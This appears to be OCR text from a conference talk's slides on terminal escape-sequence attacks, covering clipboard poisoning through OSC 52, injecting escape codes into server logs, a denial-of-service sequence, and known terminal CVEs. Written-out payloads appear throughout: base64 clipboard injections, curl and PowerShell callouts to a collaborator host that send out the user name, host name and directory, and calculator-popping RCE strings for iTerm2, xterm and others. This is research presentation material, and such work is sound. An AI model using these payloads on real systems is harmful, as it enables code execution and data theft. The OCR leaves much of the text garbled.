Ask questions
Follow @code
Request features
Report issues

Watch videos




XX Visual Studio Code ke

[;j PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL >| zsh —+ v Il

-+ terminal 1s *.log

badlog. log goatse. log
):) -» terminal cat goatse.log B

5

> MAKES YOU WONDER WHAT THAT LOGFILE CONTAINS?

Le

—_—



H 1 NUX / tmux ( Public

<> Code (%) Issues 29 [l Pull requests 7 J) Discussions (») Actions [IJ Wiki (U Security |~ Insights

Clipboard
Nicholas Marriott edited this page on Jun 15, 2022 - 53 revisions 5

The clipboard

It is common to want to have text copied from tmux's copy mode or with the mouse in tmux synchronized with the
system clipboard. The tools offered to tmux by terminals to do this are quite blunt and not consistently supported. This
document gives an overview of how things work and some configuration examples.

There are two posible methods:
e OSC 52 and the set-clipboard option.
e Piping to an external tool like xsel .

Note that tmux should be restarted entirely (run tmux kill-server ) after making changes to .tmux.conf .

The set-clipboard option

How it works

Some terminals offer an escape sequence to set the clipboard. This is one of the operating system control sequences
so it is known as OSC 52.

To skip the details and read quick step-by-step instructions on configuring set-clipboard , skip to this se¢



printf '\033]52;c;baseb6dstring\007"

L3B1b1AtYSB]YWx]JdWxhdG9yLmFwcAoOK

open -a calculator.app \n




® o0 open -a calculator.app

2 Documents printf '\033]52;c;h3Blb1AtYSBjYWx]jdWxhdGOyLmFwcAoK\0B7'
3 Documents open -a calculatar.app

ZSH REQUIRES USER INTERACTION (PRESS ENTER)




stok@STOKs-MBP:~/Documents

2 Documents printf '\033]52;c;h3Blbi1AtYSBjYWx]jdWxhdG9yLmFwcAoK\007'
2+ Documents open -a calculatar.app

> Documents D




bash

2 Documents printf '\033]52;c;h3Blbi1AtYSBjYWx]jdWxhdG9yLmFwcAoK\007'
2 Documents open -a calculatar.app

A

- Documents bash

The default interactive shell 1s now zsh.

To update your account to use zsh, please run "chsh -s /bin/zsh' .

For more details, please visit https://support.apple.com/kh/HT208050.
nash-3.2$% open —a calculator.app

hash-3.25

nash-3.2% D

BASH DONT.




printf '\033]52;c;c2x1ZXAgMQOplY2hvI]

sleepl \r\n
echo Hello S (whoami) \r\n
\r\n

Fh1bGxvICQod2hvYWIpKQoK\007"!




affectionate_chandrasekhar

@ Containers docker/getting-started STATUS . m
< w 2e0348d7fedd Running (11 hours ago) >
& 'mages 30:80 B2
mm Volumes Logs Inspect Terminal Files Stats Open in external terminal
@ Dev Environments |BETA / # sleep 1 _
/ # echo Hello $(whoami) QO m
® Learning Center Hello root
! #
/ # ]
Extensions :
Welcome
” Resource usage
@ PROBLEMS QUTPUT DEBUG CONSOLE TERMINAL
(® Add Extensions
®-> ~ sleep 1 " ® STOKs-MBP:~ stok$ sleep 1 i r (2] zsh
echo Hello $(whoami) ® STOKs-MBP:~ stok$ echo Hello $(whoam L (g bash
e e i) 5|
Hello stok
Hello stok STOKs-MBP:~ stok$
5 |l STOKs-MBP:~ stok$ []
® :

2  Windows PowerSt

Warning
é";’s PS C:\Users\sto
stok — bash — bash — bash — 80x15 You are about to paste text that contains multiple lines. If you paste this text into
bash-3.2% sleep 1 B your shell, it may result in the unexpected execution of commands. Do you wish
bash-3.2% echo Hello $(whoami) to continue?

Hello stok
bash-3.2%$ Clipboard contents (preview):
bash-3.2% [] : 2 )

sleep 1
echo Hello $(whoami)

Paste anyway X

Cancel

DIFFERENT



00
\n\n\n\n\n\n

data:image/
svgtxml;base64d, PHN2Z2yB2Z2XJzaWOuPSIxL]JE1IGJIJhc2VQcmO9maWx1PSImdWxsIiB4bWxucz01aHROcDovL3d3dy53

My5vcecmcvM]AWMC9zdmc1PgoglIDxzY3JpcHQgdHIwZT01dGV4AdCI9gYXZhc2NyaXBO0IJ4KICAgIGEsZXJOKCIpbmplY 3R
Pb24gc3ViY2Vzc2Z21bCIpOwoglDwvec2NyaXBO0Pgo8L3N2Zz4=+#\n

curl "http://S$ (whoami) .$ (hostname) .rcepoc.127.0.0.1.nip.i0o/$(pwd | base64)"\n

cmd /c powershell -Command "SURI = 'http://%username$.
Scomputername$.rcepoc.127.0.0.1.nip.i0o/"; Invoke-WebRequest -Uri $SURI"\n




printtf

'\033]152;c;CgoKCagpkY¥XRhOmltYWAIL3N2ZytdbWw/YmFzZTYOLFBIT]JaceUIyWlhKemFXOXVQUO14TGpFaUlH
SmMhiM1ZRY205bWFXeGxQUOptZFd4c01lpQjRiV3hlY30owaWFIUjJBJRGI2TDNKkM2RE5NTNNeTV2Y215dk1gQOXdNQz1
62G17aVBnb2dJRHhO6WTNKcGNIUWdAkSGx3W1QwaWRHVJRkQz1xWVhaaGMyTn 1l hWEIwSWo0SO1DOQWAJROZ zW1hKME
tDSNBibXBsWINScGIyNGdjM1 ZgWTIWemMyWjFiQ01wT3dvZ01Ed3Z2iMk55YVhCMFBnbzhMM04 yWno0PSMKCmN1 ¢
mwgImhOdHA6Ly8kKHdob2FtaSkuJChob3NObmFtZSkucmN1cGI9jJLJEyNy4wLjJAuUMSSuaXAuaWd8vJdChwd20gfCB1
YXNINJQpIgoKY21kIC9jJIHBvd2Vyc2hlbGwgLUNvDbW1hbmQgIiRVUkkgPSAnaHROcDovLyV1c2VybmFtZSUuJWN

vbXB1dGVybmFtZSUucmN1cG9jLiEyNy4wLjAuMS5uaXAualW8vdztIbnZva2UtV2ViUmVxdWVzdCAtVXIpICRVUk
kiCg==\007"'" > badlog.log




bash

bash-3.2%
bhash-3.2%
bhash-3.2% data:image/svgtxml;base64,PHN2ZyB2ZXJzaWSuPSIXLJjETIGIhc2VQcmOmaWx 1
PSImdWxsIiB4bWxucz0i1aHROcDovL3d3dy53My5vemevM]AWMCOzdmci1PgogIDxzY23JpcHQgdH Lw
ZTO7dGY4dCOqYXZhc2NyaXBOIJ4KICARIGFSZXIOKCIpbmp LY3Rph24gc3ViY2VZzc2Z1hCIpOwog
IDwvec2NyaXBOPgo8L3N2Zz4=¥#

bash: data:image/svg+xml: No such file or directory

bash: base64,PHNZZyBZZXJZaWOuPSIXLJjETIGIhcZYQcmomaWx LPSInmdwWxsIiB4bWxuczOiaHR
OcDovl3d3dy53My5SvemeviM]AWMCOzdmciPgogIDxzY¥31pcHQgdHLlwZTO1dGV4dC3qYXZhc2NyaXB
OIJ4KICAgIGFsZXIOKCIpbmpLY2Rph24gc3V]Y2Vzc2Z1bCIpOwogIDwvc2NyaXBOPgo8L3N2Zz4
=#: command not found

bhash-3.2%

hash-3.2% curl “http://S(whoami}.$(hostname).rcepoc.idz9gugceiehzubwg7vSrp3c
k3quek22.oastify.com/S(pwd | base64)"
<html><body>jvd2agysrd54u73xua84f9zjjgigz</body></html>bash-3.2%

bhash-3.2% cmd /c powershell -Command "“SURI = 'http://%username%.%computernam
e%.rcepoc.idz9guqceiehzubwq7virp3ck3quek29.castify.com/';Invoke-WebRequest -
Uri SURI"

bash: cmd: command not found
bash-3.2% []

™| Command Prompt X = N O

Headers {[X-Collaborator-Version, 4], [Age, @],
[Connection, keep-alive], [Cantent-Il enath
55] . } Docker Desktop  Upgrade plan
Images SRR
i;g:;:l:lelds §§ @ Containers ¢
ParsedHtml : System.__ComObject & mages
RawContentLength : 55
imn Volumes
@ Dev Environments BETA / #

Collaborator

1 x +
Payloads to g... | 1 _ v Include Collaborator server location Poll now
# ~ Time Type Payload
1 2023-Jul-13 13:19:53.925 UTC DNS idz9guqceiehzubwq7vorp3ck3quek29
2 2023-Jul-13 13:19:54.245 UTC HTTP idz8guqceiehzubwq7v9rp3ck3quek29
3 2023-Jul-13 13:19:57.176 UTC DNS idzS9guqceiehzubwq7vorp3ck3quek29
4 2023-Jul-13 13:19:57.175 UTC DNS idz9guqceiehzubwq7vorp3ck3quek29
5 2023-Jul-13 13:19:57.445 UTC HTTP idz8guqceiehzubwq7vOrp3ck3quek29
6 2023-Jul-13 13:20:00,588 UTC DNS idz9guqceiehzubwq7vorp3ck3quek29
7 2023-Jul-13 13:20:00.588 UTC DNS idz9guqceiehzubwq7vOrp3ck3quek29
8 2023-Jul-13 13:20:00.968 UTC HTTP idz8gugceiehzubwq7/vOrp3ck3quek29
Description Request to Collaborator Response from Collaborator
Raw Hex 5 \n — Inspector - W
1 GET /Lwo= HTTP/1.1
2 Host: Request attributes
root.2e0348d7fed4.rcepoc. idz9qguqceiehzubwq7v9rp3ck3quek29.oast
ify.com R e
3 User-Agent: curl/7.86.0 Gqnesiiisacers
4 Accept: */%*
5 DNT: 1

@@ & = | Search...

Zelsasd/1eaqd 1L

0 highlights

80:80 (4

Inspect

Q

Polling autorr

Source |

188.126.80.54
188.126.80.54
188.126.80.54
188.126.80.54
188.126.80.54
188.126.80.54
188.126.80.54
188.126.80.54

- & X

EE
-
hd

———

Terminal Files Stats Open in external terming

data:imagefsvg+xml;base64 F X +

This page says

injection successful

< -0 X A Not Securel data:imagefsvg+xml;base64, PHN2ZyB2ZXJzaWOuPSIxLJEIIGJhc2VQecmOmaWxIPSImdWxsliB4bWxucz0iaHROcDovL3d3dy53MySvemcvMjAwMC9zdmceiPgoglDxzY3JpcHQgdHI...

b %« ®* A O & :

Q O

OK

SMySvemcvMjAw
\vaXBOPgo8L3N

-9zdmciPgogID
'z4=#: not fo

Squek?29.0asti



MESS THINGS UP!




prin
prin’

o
o

Prin-

c

'\033
"\033]

'\033

https://gist.gitl

‘H\OO7'" - Moves cursor to home position (0, 0)
1337;ClearScrollback\007' - Clears scrollback (iterm)
2J\007’" - Erase entire screen




© @ © Docker Desktop  Update to latest Q, Search for local and remote images, containers, and more... | #K

affectionate_chandrasekhar

ﬁ] Containers

docker/getting-st: STATUS
< m X _ Running (17 minut )
2e0348d7fed4 [0 SR LR 1
@& 'mages 80-80 [
amn Volumes L%;;s Inspect Terminal Files Stats
@) Dev Environments (BETA !_failed (2: No such file or directory). client: 172.17.0.1, server: localhost. request: "GET_ /tutorial/ Qa [ O B b
H%1b%5b23%07%1b%5bHX1bX5b23%07 HTTP/1.1", host: "127.0.0.1" O N
* Learning Center
1 4
Extensions .
lxl Resource usage
© et CLEARS THE LOG EVERY TIME IT RENDERS
@ 404 Not Found RAM 416 GB CPU 0.20% Disk 47.53 GB avail. of 58.37 GB W Not connected to Hub () v4.19.0 O

& = ' () 127.0.0.1/tutorialfupdating-our-app%1b%5bH%1b%5b2J%07 %1b %5bH%1b%5b2J%07

nginx/1.23.3



Dictionary

Definitions from Oxford Languages - Learn more

1. make (someone) a little angry; irritate.
"the decision really annoyed him"

Similar: = irritate vex make angry make cross anger exasperate irk v

2. ARCHAIC

harm or attack repeatedly.
"a gallant Saxon, who annoyed this Coast"
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'tps://invisible-island.net/xter

CSI Ps 1 Media Copy (MC).
Ps = 0 = Print screen (default).
Ps = = Turn off printer controller mode.
Ps = = Turn on printer controller mode.
Ps = © = HTML screen dump, xterm.
Ps = 1 = SVG screen dump, xterm.

CSI 7 Ps 1
Media Copy (MC), DEC-specific.
Ps = 1 = Print line containing cursor.
Ps = 4 = Turn off autoprint mode.
Ps = 5 = Turn on autoprint mode.
Ps =1 0 = Print composed display, ignores DECPEX.
Ps =11 = Print all pages.

CSI Pm 1 Reset Mode (RM).
Ps = 2 = Keyboard Action Mode (KAM).

Ps = 4
Ps =1
Ps = 2

-» Replace Mode (IRM).
2 = Send/receive (SRKRM).
© = Normal Linefeed (LNM).

CSI ? Pm 1
DEC Private Mode Reset (DECRST).
Ps = = Normal Cursor Keys (DECCKM), VT109.
Ps = Designate VTI52 mode (DECANM), VT1@0.
Ps = 809 Column Mode (DECCOLM), VT100.
Ps = Jump (Fast) Scroll (DECSCLM), VT100.
Ps = Normal Video (DECSCNM), VT100.




X

8 https:/f/invisible-island.net/xterm/ctlseqgs/ctlseqs.htm!

CSI Ps i Media Copy (MC).

Ps = = Print screen (default).

Ps = = Turn off printer controller
Ps = = Turn on printgs - i
Ps = © = HTML screen

Ps = 1 = SVG screen

& No Printer Selected £

Printer

Presets None ¢
stok@stoks-mbp:~/Documentsfterminal
» terminal Printf '\o33[pi\oe7’ . N
D Copies 1l &
Pages
® All Pages
POPS A PRINT JOB Rangefiom 1t
Selection

Select pages from the sidebar

Page 1 of 1 Paper Size A4 210 by 287 mm £
Orientation ® +(2] Portrait +f] Landscape
Scaling 100 % ¢

iTerm2

v Black and white

I awunnt

? PDF ~ Cancel

Jump (Fast) S

Normal Video




PRINT STUFF

https://invisible-island.net/xterm/ctiseqgs/ctiseqgs.htm| @ Sﬁ}'

i : g h

= CSI Ps i Media Copy (MC).
@ = Print screen (default).

Ps
4 = Turn off printer controller mode.
5 = Turn on printer controller mode.
10 = HTML screen dump, xterm.

11 = SVG screen dump, xterm.

Prj—nt f ' \ O 3 3 |: O j— \ O O 7 ' P iMedia Copy (MC), DEC-specific.

Ps
Ps
Ps

1 = Print line containing cursor.

4 = Turn off autoprint mode.

5 = Turn on autoprint mode.

Ps =10 = Print composed display, ignores DECPEX.
Ps =11 = Print all pages.

Printf '\033[5i\oo7' CSI Pm L Reset Mode (RM).

Ps = 2 = Keyboard Action Mode (KAM).
Ps = Replace Mode (IRM).

Ps 2 = Send/receive (SRM).

Ps @ = Normal Linefeed (LNM).

4
1
2

CSI ? Pm 1
DEC Private Mode Reset (DECRST).
Ps = Normal Cursor Keys (DECCKM), VT100.
Ps Designate VT52 mode (DECANM), VT100.
Ps 80 Column Mode (DECCOLM), VT100.
Ps Jump (Fast) Scroll (DECSCLM), VT109.
Ps Normal Video (DECSCNM), VT100.

o0 stok@stoks-mbp:~/Documents/tei
5  terminal Printf '\033[5i\007'}}

SENDS ALL OUTPUT TO A NON EXISTING PRINTER
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E] https://invisible-island.net/xterm/ctlseqgs/ctlseqgs.html B &%

Mouse Tracking

The VT widget can be set to send the mouse position and other
information on button presses. These modes are typically used by
editors and other full-screen applications that want to make use of the

mouse.

There are two sets of mutually exclusive modes:

o] mouse protocol

o protocol encoding

printf "\033[?1001h\O033[21002h\033[21003h\033[?21004h\033[?
1005h\033[?21006h\033[21007h\033[?21015h\033[210016h\"

#define SET_ ALTERNATE SCROLL 1007

#define SET_EXT_MODE_MOUSE 1005
#define SET SGR_EXT MODE_MOUSE 1006
#define SET_URXVT_EXT_MODE_MOUSE 1015
#define SET PIXEL POSITION MOUSE 1016

The motion reporting modes are strictly xterm extensions, and are not
part of any standard, though they are analogous to the DEC VT200 DECELR
lLocator reports.




" 000 stok@STOKs-MacBook-Pro:~/Documents A \ 381

2 Documents printf '\033[?71001h\033[?71002h\033[?1003h\033[?1004h\033[?1005h\033[?1006h
\033[?71007h\033[?1015h\033[?10016h\"

\&

- Documents ;86;10M;81;10M;79;10M;75;10M;74;3M;73;9M;72;9M;71;93M;70;9M6;70;9M6;70;3M6;
f0;9M6; 7/0;9M6; 7O;9M6; /O;8M6; 70 ;9M6; 70 ;9M6; 70;3M6; 7O;9M6; 70;2M6; 70 ;9M6; 70 ;9M6; 70 ;3M6; 70;
9M6; 70 ;9M6; 70 ;8M6; 70;9M6; 70 ;9M6; 70 ;M6 70;9M6; 70;9M6; 70 ;M6 70;2M6; 70 ;9M6; 70 ;9M6; 70 ; 3M6
; TO;9OM6; 70;8M7;70;9M7;70;9M7; 7/0;9M;68;8M;66; /M;64;6M;62;6M;60;5M;58;4M;57;4M;55;4M;54;4
M;53;3M;51;3M;50;3M;49;3M;48;4M;47;4M;47;5M;46;6M;46;8M;46;10M;46;11M;46;12M;46;12M;46,;
12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46
;12M63;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;4
6;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46; 12M6;
46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12@5;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6
;465 12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46; 12M
6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12
M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;1
2M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;
12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M6;46;12M;47;12M;47;12M;47;12Ml

EVERY SINGLE MOUSE MOVEMENT WILL BE REPORTED




X

8 https:/finvisible-island.net

(See discussion of Title Modes).

Erase Ps Character(s) (default = 1) (ECH).

Cursor Backward Tabulation Ps tab stops (default = 1) (CBT).
Scroll down Ps lines (default = 1) (SD), ECMA-48.

This was a publication error in the original ECMA-48 5th

edition (1991) corrected in 2003.

Character Position Absolute [column] (default = [row,1])
(HPA).

Character Position Relative [columns] (default = [row,col+1l])
(HPR).

Repeat the preceding graphic character Ps times (REP).

Send Device Attributes (Primary DA).
Ps = @ or omitted = request attributes from terminal. The
response depends on the decTerminallID resource setting.
- CSI ? ; 2 ¢ ("VT100 with Advanced Video Option')
CSI ~ ; @ ¢ ("VT101 with No Options")
CSI ~ ; 6 ¢ ("VT132 with Advanced Video and Graphics')
CSI ~ ("VT102")
CSI ~ ("VT131")
CSI ~ , Ps ¢ ("VT125")
CSI ~ ; Ps ¢ ("VT220")
CSI ~ ;, Ps ¢ ("VT320")




printf '@ \033[10;b\007"




printf '@ \033[10;b\007"
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printf '@ \033[1000000000;b\007"

4

1.000.000.000 = ONE BILLION ¥
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'@ \033[1000000000;0b\007"

printf

DDDDDDDDDD
DDDDDDDDDD
DDDDDDDDDD
DDDDDDDD

»3 W -
L E E E
DDDDDDDHDDHDHDD-
DDDDDDDHDDHDD-
DDDDDDDHDHDHD-=
DD-DDDDDHDHDD-
DD-DDDDDHDDHDHDD-
DD-DDD D DD -
DDDDD D DDHDHDD-



DO NOT RUN
THIS IN PROD!
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curl localhost/hellod#%ef%$b8%8f%1b%5b1000000000%3bb307
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© @ © DockerDesktop  Upgrade plan Q_ Search for local and remote images, containers, and more... #K & £ signin €

affectionate_chandrasekhar

w Containers < w docker/getting-started STATUS n > 4) .‘ .
2¢0348d7fed4 0 Running (2 minutes ago) ' & |

@& 'mages 80:80 2
amn Volumes : ; R — .
— Logs Inspect Terminal Files Stats Open in external terminal (£
@ Dev Environments BETA l_

/ # QO "
31 Learning Center /.# printf ' @,033[1000000000;b\007"

, o
Extensions

IKEMOTHER : %
IKEMOTHER : ~$
IKEAMOTHER : ~§
IRAMOTHER: -4 printf * 833 (1000000000 ; b\GDT "

w Resource usage

@ Add Extensions

BRICKED

_ RAM 4.16 GB Disk 47.53 GB avail. of 58.37 GB \ Not connected to Hub I

- ~ printf '¥\033[1000000000;b\007"

T c F1 $ -.—
a | : " 2 - —
9 | F12 $ / . I T

PROBLEMS

. BRICKED

TRY IT YOURSELF AT https://evil.ter
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DAVID LEADBEAITER

4 ~

iTerm2 Windows Terminal
CVE-2022-45872 CVE-2022-44702

SwiftTerm rxvt-unicode
CVE-2022-23465 CVE-2022-46387 CVE-2022-4170

» -~
e

BlueHat 2023: Houdini of the WLeadbeater

https://www.youtube.com/watch?v=ilHWOKWgzAs



DAVID LEADBEAIER

CRLF injection vulnerability in xterm allows user-assisted attackers to execute arbitrary commands via LF (aka \n)

characters surrounding a command name within a Device Control Request Status String (DECRQSS) escape sequence in

BlueHat 2023: Houdini of the Terminal with David Leadbeater
https://www.youtube.com/watch?v=ilHWOKWgzAs



DAVID LEADBEAIER

David Leadbeater
dgl

Follow

Observability, Go and Perl. Sometimes
IRC. Always emoji.

AL 97 followers - 0 following

7], @G-Research

(*) Melbourne, Australia

(V) 03:32 - 8h ahead

<~ https://dgl.cx

W @davidgl

(@ @dgl@infosec.exchange

o > & O B https://github.com/dglfhoudini-kubect|-poc B w

README.md

CVEs

This primarily targets Kubectl's CVE-2021-25743. It needs to be combined with a terminal vulnerability to
have any effect though. Some examples are:

e xterm font OSC (CVE-202 5063)
"\e]50;is$(xcalc&)\a\e]50;7\a"
e iTerm2 DECRQSS ( 15872)
"\eP3$q;open —a Calculator\rie\\\ePs$g\e\\"
e ConEmu title (CVE-202: )
"\el@;\rcalc.exe\r\e\\\e[21t"
* Windows Terminal WSL directory (C )
'"\e]9;9;/" calc.exe "o /\e\\"
« Some colour (not a terminal vulnerability, test for CVE-2021-25743 alone)
"\e[31ImIf you see this in red your kubectl is not fixed against CVE-2021-25743\e[m"

The list above contains escape sequences in C-style strings, as this section of the readme is expanded and
written to /dev/termination-log, see |

Note the last entry is not a terminal vulnerability, but an attacker could still use it in an attempt to social
engineer the administrator, e.g. change something else on screen (cursor movement sequences means they
can change lines above where the text is actually output).



DAVID LEADBEAIER

Terminally Owned - 60 years of escaping

David Leadbeater

Caesars Forum - Forum - 109-119, 138-139 (Track 2)
DEF CON Official Talk

Sun, Aug 13 12:00-12:45 PDT (&

7

It is 60 years since the first publication of the ASCII
standard, something we now very much take for
granted. ASCIl introduced the Escape character;
something we still use but maybe don't think about
very much. The terminal is a tool all of us use. It's a
way to interact with nearly every modern operating
system. Underneath it uses escape codes defined
In standards, some of which date back to the
1970s.

In this talk I'll look at the history of terminals and
then detall the issues | found in half a dozen
different terminals. Even Microsoft who historically
haven't had strong terminal support didn't escape
a CVE. In order to exploit these vulnerabillities they
often need to be combined with a vulnerability in
something else. I'll cover how to exploit these
vulnerabilities in multiple ways.

Overall this research found multiple remote code
execution vulnerabilities across nearly all platforms
and new unique ways to deliver the exploits.



iE

curl http://localhost:80/sup%0a%$1B%S5B31mESC-INJ

L
a

s20calculators3bs0dslbso5cs1lbPs24gmslbsocC

ECTION-5UCC

RQSS RCE

I8 S UG

ETS-POP-CALC%1B%5BO0m%s07%0a%1bP524gms03%51b%5cs1bP%24gms3bopens20—




ITERM2 DECRQSS RCE

curl http://localhost:80/sup%0a%$1B%5B31mESC-INJ

asZ20calculators3bs0ds1lbsocslbP%24gmslbsbc

Selected text

SUp \r \n

ECTION-5UCC

1b [31mESC-INJECTION-SUCCESSFUL-LETS-POP-CALC 1b [@m @7 \r \n
1b P$gm @3 1b \ 1b P$gm;open —a calculator; \r 1b\ 1b P$gm 1b \

CVE-2022-45872 - DAVID LEADBEATER

I8 S UG

LETS-POP-CALC%1B%5BO0m%07%0a%1bP%24gm3s03%1bsbcs1lbP3s24gms3bopens20-
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affectionate_chandrasekhar

Containers < w docker/getting-started STATUS
2e0348d7fedd D Running (4 minutes ago)

Images 80:80 [
Volumes Logs Inspect Terminal Files Stats
Dev Environments BETA 172.17.0.1 - - [10/Jul/2023:08:40:00 +0000] "GET ftutorial/ HTTR/1.1" 200 14807 "http://127.0.0.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/53" Q l_ . O
) Chrome/114.0.5735.199 Safari/537.36" "-" OO »
Learning Center 172.17.0.1 - - [10/Jul/2023:08:40:00 +0000] "GET fassets/fonts/font-awesome.css HTTP/1.1" 200 30721 "http://127.0.0.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3
6 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36" "-"
172.17.0.1 - - [10/Jul/2023:08:40:00 +0000] "GET fassets/fonts/font-awesome.css HTTP/1.1" 200 30721 "http://127.0.0.1/tutorial/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb
ETTETEI o . Kit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36" "-"
* 172.17.0.1 - - [10/Jul/2023:08:40:00 +0000] "GET fimages/docker-labs-logo.svg HTTP/1.1" 200 6469 "http://f127.0.0.1/tutorial/" "Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit
/537.36 (KHTML, like Gecko) Chromef114.0.5735.199 Safarif537.36" "-"
‘ﬂ? Resource usage 172.17.0.1 - - [10/Jul/2023:08:40:00 +0000] "GET fassets/javascripts/application.c33a9706.js HTTP/1.1" 200 79589 "http://127.0.0.1/tutorial/" "Mozilla/5.0 (Windows NT 10.0; Win64;
X64) AppleWebKit/537.36 (KHTML, like Gecko) Chromef114.0.5735.199 Safarif537.36" "-"
(:) NGCIETTar eI 172.17.0.1 - - [10/Jul/2023:08:40:00 +0000] "GET ftutorial/tutorial-in-dashboard.png HTTP/1.1" 200 109800 "http://127.0.0.1/tutorial/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Ap
,". o0 stok@STOKs-MacBook-Pro:~/Documents X381 "" )
"Mozilla/
» Documents docker logs --follow —-tail 10 2e0348d7fed4a5176f5c6543b0b2582a2d5d8db4ateb42808cd16T61197d0ebl I
9 (Windows
54; x64) A
' SWebKit/53
@
iTerm2
$ By George Nachman and Contributors
Build 3.4.17

What's New in 3.47
Home Page - Report a bug - Credits

iTerm2 is generously supported by WAgendrixyr, WAndreas Finkyr, WBaptiste Cantonyr,
wrBen Niedyr, WrDamian Harouffyr, WDanny Thomasyr, Wrember arlynxy, W Fabian
Wenkyr, WFarleyyr, Wiunneliotr, WrJames Proudyr, WrJay Thompsonyr, YrJeffrey David

Marracciniyr, WrJoe Purdyyr, WrKel Phillipsonyr, WrLes Akerdr, YrMatt Lewinyr, YrMention
m Me Ltdyr, WrMichael Ossarehyir, WrMislav Marohni¢ e, YeMitch Penrod i, W Padletyr,

' Shain Singhyr, Wwildsandsr, WrYvon Letourneauylr, A. J. Wright, Adam, Adam Wiggins, Al
Payne, Alan Graham, Aleksei Besogonov, Alex Parella, Alex Pearce, Alexey Palazhchenko, allen
joslin, Andreas Wolff, Andrew Canaday, Andrew Imeson, Andrew Wang, angelus2014, Annette,
anthroid, Artem Pyanykh, Avrios, Ben Nied, Benson Kalahar, Blake Williams, Bret Martin, Brett
Terpstra, Brian Gupta, Buttondown, Cale Winebrenner, cashdeck, Chihiro SAKATOKU, Chip, Chip
Salzenberg, Chris Faehl, Chrissy Gage, Colin Marc, Dale Bradshaw, Dave Bayer, David Avakian,
David Bayer, David Cuthbert, David Mankin, Dylan Arbour, Ean Price, Elijah Miller, Emily St*, Eoin
Woods, Federico Marzocchi, Frank Fejes, Frédéric Harper, G Douglas Davidson, Gary Bernhardt,

() 127.0.0.1/tutorialf

Getting Started Getting Started

Getting Started

Our Application Geoffrey Washburn, Gordon Child, HJ, Horia Dragomir, ihaveahax, Jacob Lambert, James Brown,
Updating our A i Jan Zenkner, Jason Weddington, Jeffrey Honig, Jeremy, Joe Gallo, John Shearar, John Weir, Jon
; g 5 The comma nd you JUSt ra n Nall, Jon Seidel, Jonathan Zuckerman, Joseph Diehl, Jussi Arpalahti, Justin Duke, Justin Pfifer, Karl
Sharing our App Bunch, kdkd, Kenichi Kamiya, Kenneth Roszkowski, Kevin Shay, Konrad Malawski, Lasse Osterild,
- : : . : e £ : Luc Suryo, Mal McKay, Marcel van den Hof, Mark H Berger, Mark Higham, Mark Mann, Mark Rinella,
| |
Persisting our DB Congratulations! You have started the container for this tutorial! Let's first explain the command Martin Kiuska, Matt Schrage, Ma Hirst, Matthew P. C. Morley, Mauricio e,

Using Bind Mounts that you just ran. In case you forgot, here's the command: Michael O'Brien, Mikkel Malmberg, mimacom, Namho Kim, Oduah Tobi, Oladapo Fadeyi, Oleg
Evdokimov, Oleksandr Tymoshenko, Olga Akhrameeva, Oliver B. Fischer, Ondfej Sury, otomiko2,
Paitll ]l ind Daual Datanankbrnuy Datar Miirrau RDatear Qtainharnar IPDCDNEKHY Dhilin BAaranctain Dhilin

Auilti CAntainar Anne



Docker Desktop ~ Update to latest Q_ Search for local and remote images, containers, and more... g & signin O

affectionate_chandrasekhar
Containers Al , e otartod

- docker/getting-sta STATUS
< | il ét‘f‘(]-f)’;l-Sd?ftA?l.jA‘i f_D Running {54 minutes ago) - O
INELES e
Volumes Logs Inspect Terminal Files Stats
Dev Environments BETA 172.17.0.1 - - [10/Jul/2023:09:30:57 +0000] "GET /ftutorial/our-application/dashboard-two-containers.png HTTP/1.1" 200 249953 "http://localhost/tutorial/our-3j o [F E
.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chromef114.0.5735.199 Safari/537.36" "-" S D @ 0
Learning Center 172.17.0.1 - - [10/Jyl/2023:09:31:00 +00001 "GET /ftutorial/updating-our-app/ HTTP/1.1" 200 17460 "http://localhost/tutorial/our-application/" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit & ® & omef114.0.5735.199 Safari/f537.36" "-"
172.17.0.1 - - | T ftutorial/updating-our-app/ftodo-list-updated-empty-text.png HTTP/1.1" 200 25368 "http://localhost/tutorial/updating-our-app/" "Mozi
Erona e . 113/5.0 (Windows O 1t/537.36 (KHTML, like Gecko) Chromef114.0.5735.199 Safari/f537.36" "-"
’ 172.17.0.1 - - | I ftutorialfupdating-our-app/dashboard-removing-container.png HTTP/1.1" 200 284927 "http://localhost/tutorial/updating-our-app/" "Moz
i1lla/5.0 (Window K1t/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36" "-"
“ Resource usage 2023/07/10 09:31] AC . ‘fusr/share/nginx/html/sup
@ SR RS ERE e " failed (2: No : 172.17.0.1, server: localhost, request: "GET /sup%0a%1B%5B31mESC-INJECTION-SUCCESSFUL-LETS-POP-CALC¥%1B%5BOM%07%0a%1bP%24qm%03%1b%Sc
%1bP%24qm%3bopen 7 8 1bP%24qm¥%1b%5c HTTP/1.1", host: "localhost"
